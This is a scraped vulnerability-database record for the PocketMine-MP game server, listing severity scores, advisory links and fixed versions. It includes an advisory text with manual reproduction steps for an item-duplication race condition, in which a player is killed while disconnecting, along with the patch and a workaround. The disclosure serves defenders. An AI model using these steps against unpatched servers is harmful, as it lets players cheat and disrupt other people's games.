url https://github.com/pmmp/PocketMine-MP/commit/e375437439df51f7862b6b98318394643fcd6724
3
reference_url https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/releases/tag/5.32.1
4
reference_url https://github.com/advisories/GHSA-fqqv-56h5-f57g
reference_id GHSA-fqqv-56h5-f57g
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fqqv-56h5-f57g
5
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g
reference_id GHSA-fqqv-56h5-f57g
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-fqqv-56h5-f57g
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.32.1
purl pkg:composer/pocketmine/pocketmine-mp@5.32.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-hdq8-fgbq-13ap
2
vulnerability VCID-r3zq-cv2v-sfgp
3
vulnerability VCID-sh7j-krs8-p7cy
4
vulnerability VCID-y2zs-37kv-skak
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.32.1
aliases GHSA-fqqv-56h5-f57g
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ummq-syfw-hqcg
8
url VCID-y2zs-37kv-skak
vulnerability_id VCID-y2zs-37kv-skak
summary
PocketMine-MP: Player entities can still die and drop items in flaggedForDespawn state
### Summary
When an entity dies, the entity is flagged for despawn, but remains in the `World`'s entity table, meaning it's still accessible by doing `World->getEntity($entityId)` and other methods. The same is true of a player when quitting the server.

When a network packet arrives from a client to attack an entity, the handler fetches the entity using `World->getEntity($entityId)` without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects.

### Reproducing steps
To reproduce this vulnerability, two clients (Player A and Player B) are required.

Prerequisites:
    - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death).
    - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage.

Steps:
    1. Player A and Player B stand next to each other.
    2. Player A initiates the disconnect sequence (e.g., clicking "Disconnect" or "Exit to Menu").
    3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A.
    4. Player A's character dies server-side, and their inventory drops on the ground.
    5. Player B collects the dropped items.
    6. Player A logs back into the server.
    7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies.

### Patches
The issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations.

While a cleaner fix would be to have `World`'s various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes.

### Workarounds
Plugins can mitigate this issue on older versions by handling `EntityDamageByEntityEvent`, checking if the victim entity is flagged for despawn, and if so, cancelling the event.
references
0
reference_url https://github.com/pmmp/PocketMine-MP
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP
1
reference_url https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683
2
reference_url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-f9jp-856v-8642
reference_id
reference_type
scores
0
value 3.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-f9jp-856v-8642
3
reference_url https://github.com/advisories/GHSA-f9jp-856v-8642
reference_id GHSA-f9jp-856v-8642
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-f9jp-856v-8642
fixed_packages
0
url pkg:composer/pocketmine/pocketmine-mp@5.39.2
purl pkg:composer/pocketmine/pocketmine-mp@5.39.2
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2nw8-b6nt-c7gd
1
vulnerability VCID-r3zq-cv2v-sfgp
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.39.2
aliases GHSA-f9jp-856v-8642
risk_score 1.6
exploitability 0.5
weighted_severity 3.3
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-y2zs-37kv-skak
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:composer/pocketmine/pocketmine-mp@5.3.2